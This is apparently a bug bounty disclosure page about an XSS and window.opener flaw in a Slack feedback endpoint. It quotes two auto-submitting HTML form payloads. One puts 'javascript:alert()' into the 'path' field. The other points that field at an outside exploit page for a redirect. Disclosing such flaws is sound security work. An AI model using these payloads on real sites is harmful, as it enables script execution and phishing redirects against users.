XSS on link and window.opener
A Slack feedback endpoint accepted a user-supplied path value; an attacker could cause script execution or redirect a victim to an evil site.
- Triaged in 11 days
- Fixed in 39 days
- Paid in 36 days
- Disclosed after 2.8 years
Hi possible xss and error when clicking on the link .
`<form name="pisarenko" action="https://api.slack.com/feedback/submit" method="POST"> <input type='hidden' name='crumb' value="1"> <input type='hidden' name='path' value="javascript:alert()"> <input type='hidden' name='vote' value="Yes">
</form> <script>document.pisarenko.submit();</script>`or
`<form name="pisarenko" action="https://api.slack.com/feedback/submit" method="POST"> <input type='hidden' name='crumb' value="1"> <input type='hidden' name='path' value="https://servisvk.com/exploit/opener.php"> <input type='hidden' name='vote' value="Yes">
</form> <script>document.pisarenko.submit();</script>`Impact
Redirection from the original site to an evil site or execution of js code
Please check that the domain is slack
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the feedback endpoint accepted a submitted path value and used it without validating the URL scheme or destination.
What the attacker needed
Attacker can submit the feedback form; victim interacts with the resulting link
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page takes a value you send it and may use it unsafely. An attacker could make it run code or point at their own site. Here the feedback form's path field was used.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.